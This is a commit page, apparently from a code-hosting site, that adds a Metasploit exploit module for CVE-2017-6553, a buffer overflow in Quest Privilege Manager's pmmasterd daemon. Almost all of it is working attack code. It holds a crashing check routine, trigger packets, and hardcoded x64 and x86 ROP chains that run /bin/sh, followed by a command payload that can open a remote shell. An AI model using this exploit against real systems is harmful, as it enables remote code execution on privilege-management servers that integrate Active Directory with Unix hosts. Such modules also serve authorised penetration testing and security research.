Exploit for pmmasterd Buffer Overflow (CVE-2017-6553)
parent
dd5a91f153
commit
9a0789f839
|
@ -0,0 +1,202 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This modules exploits a buffer overflow in the Quest Privilege Manager,
|
||||||
|
a software used to integrate Active Directory with Linux and Unix systems.
|
||||||
|
The vulnerability exists in the pmmasterd daemon, and can only triggered when
|
||||||
|
the host has been configured as a policy server ( Privilege Manager for Unix
|
||||||
|
or Quest Sudo Plugin). A buffer overflow condition exists when handling
|
||||||
|
requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
|
||||||
|
controlled by the attacker. This module only works against version < 6.0.0-27.
|
||||||
|
Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (stack cookies bypass is required).
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'm0t'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2017-6553']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "",
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
|
||||||
|
{
|
||||||
|
:exploit => :exploit_x64,
|
||||||
|
:check => :check_x64
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
|
||||||
|
{
|
||||||
|
:exploit => :exploit_x86,
|
||||||
|
:check => :check_x86
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false, #XXX
|
||||||
|
'DisclosureDate' => 'Apr 09 2017',
|
||||||
|
'DefaultTarget' => 1
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([ Opt::RPORT(12345) ], self.class)
|
||||||
|
register_options( [ Opt::CPORT(rand(1024))], self.class )
|
||||||
|
end
|
||||||
|
|
||||||
|
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
|
||||||
|
def check
|
||||||
|
unless self.respond_to?(target[:check], true)
|
||||||
|
fail_with(Failure::NoTarget, "Invalid target specified")
|
||||||
|
end
|
||||||
|
|
||||||
|
return self.send(target[:check])
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless self.respond_to?(target[:exploit], true)
|
||||||
|
fail_with(Failure::NoTarget, "Invalid target specified")
|
||||||
|
end
|
||||||
|
|
||||||
|
request = self.send(target[:exploit])
|
||||||
|
|
||||||
|
connect
|
||||||
|
print_status("Sending trigger")
|
||||||
|
sock.put(request)
|
||||||
|
sock.get_once
|
||||||
|
print_status("Sending payload")
|
||||||
|
sock.put(payload.encoded)
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
#server should crash after parsing the packet, partial output is returned
|
||||||
|
def check_x64
|
||||||
|
head = [ 0x26c ].pack("N")
|
||||||
|
head << [ 0x700 ].pack("N")
|
||||||
|
head << [ 0x700 ].pack("N")
|
||||||
|
head << "\x00"*68
|
||||||
|
|
||||||
|
body = "PingE4.6 .0.0.27"
|
||||||
|
body << rand_text_alpha(3000)
|
||||||
|
|
||||||
|
request = head + body
|
||||||
|
|
||||||
|
connect
|
||||||
|
print_status("Sending trigger")
|
||||||
|
sock.put(request)
|
||||||
|
res = sock.timed_read(1024, 1)
|
||||||
|
if res.match("Pong4$")
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#server should crash while parsing the packet, with no output
|
||||||
|
def check_x86
|
||||||
|
head = [ 0x26c ].pack("N")
|
||||||
|
head << [ 0x700 ].pack("N")
|
||||||
|
head << [ 0x700 ].pack("N")
|
||||||
|
head << "\x00"*68
|
||||||
|
|
||||||
|
body = rand_text_alpha(3000)
|
||||||
|
|
||||||
|
request = head + body
|
||||||
|
|
||||||
|
connect
|
||||||
|
print_status("Sending trigger")
|
||||||
|
sock.put(request)
|
||||||
|
begin
|
||||||
|
res = sock.timed_read(1024, 1)
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
rescue ::Exception
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_x64
|
||||||
|
head = [ 0x26c ].pack("N")
|
||||||
|
head << [ 0x700 ].pack("N")
|
||||||
|
head << [ 0x700 ].pack("N")
|
||||||
|
head << "\x00"*68
|
||||||
|
|
||||||
|
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
|
||||||
|
ropchain = [
|
||||||
|
0x408f88, # pop rdi, ret
|
||||||
|
0x4FA215, # /bin/sh
|
||||||
|
0x40a99e, # pop rsi ; ret
|
||||||
|
0, # argv @rsi
|
||||||
|
0x40c1a0, # pop rax, ret
|
||||||
|
0, # envp @rax
|
||||||
|
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
|
||||||
|
0xcacc013, # padd
|
||||||
|
0x408a98, # execve,
|
||||||
|
0
|
||||||
|
].pack("Q*")
|
||||||
|
|
||||||
|
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
|
||||||
|
body << rand_text_alpha(1600)
|
||||||
|
body << ropchain
|
||||||
|
body << rand_text_alpha(0x700 - body.size())
|
||||||
|
|
||||||
|
return head + body
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_x86
|
||||||
|
head = [ 0x26c ].pack("N")
|
||||||
|
head << [ 0x108 ].pack("N")
|
||||||
|
head << [ 0xcc ].pack("N")
|
||||||
|
head << "\x00"*68
|
||||||
|
|
||||||
|
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
|
||||||
|
ropchain = [
|
||||||
|
0x8093262, # ret
|
||||||
|
0x73, # cs reg
|
||||||
|
0x804AE2C, # execve,
|
||||||
|
0xcacc013, # padding
|
||||||
|
0x8136CF0, # /bin/sh
|
||||||
|
0,
|
||||||
|
0
|
||||||
|
].pack("V*")
|
||||||
|
|
||||||
|
pivotback = 0x08141223 # sub esp, ebx ; retf
|
||||||
|
writable = 0x81766f8 # writable loc
|
||||||
|
|
||||||
|
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
|
||||||
|
body << rand_text_alpha(104)
|
||||||
|
body << ropchain
|
||||||
|
body << rand_text_alpha(0xb4 - body.size())
|
||||||
|
body << [0x50].pack("V")
|
||||||
|
body << rand_text_alpha(0xc4 - body.size())
|
||||||
|
body << [pivotback].pack("V")
|
||||||
|
body << [writable].pack("V")
|
||||||
|
body << rand_text_alpha(0x108 - body.size())
|
||||||
|
|
||||||
|
return head + body
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue